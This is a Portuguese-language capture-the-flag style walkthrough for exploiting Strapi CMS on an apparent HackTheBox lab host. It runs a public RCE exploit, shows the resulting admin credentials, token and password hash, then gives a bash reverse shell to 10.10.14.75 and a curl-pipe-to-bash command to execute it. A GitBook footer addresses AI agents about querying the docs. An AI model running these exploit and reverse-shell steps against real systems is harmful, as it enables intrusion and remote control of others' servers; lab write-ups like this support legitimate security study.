> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/strapi-cms-exploitation.md).

# Strapi

### Exploração RCE do CMS Strapi

Procure uma vulnerabilidade no Strapi com **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/97c6325320d8cd394a9c571554e20c87a8b1ed89" alt=""><figcaption></figcaption></figure>

Usamos o exploit:

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/09d24383aa828124863b0eb05e154b8bca39af4d" alt=""><figcaption></figcaption></figure>

Isso fornece credenciais de administrador.

{% code overflow="wrap" %}

```javascript
[+] Seu e-mail é: admin@horizontall.htb
[+] Suas novas credenciais são: admin:SuperStrongPassword1 
[+] Seu JSON Web Token autenticado: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/ee242e01e41e467b88c302f3e24b4a7eda910097" alt=""><figcaption></figcaption></figure>

Recupere o hash da senha do usuário recém-criado:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/b0b019e1663a92b7432014bc9f6d174f9caffe51" alt=""><figcaption></figcaption></figure>

### Obtendo uma shell reversa

Crie um **index.html** arquivo contendo uma carga útil de shell reversa:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Inicie um servidor web:

```bash
python3 -m http.server 8080
```

Abra um listener:

```bash
nc -nlvp 443
```

Depois, execute a carga útil no alvo:

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/9d3940784a3f2bfcbd77ba139ecf283b692a419e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
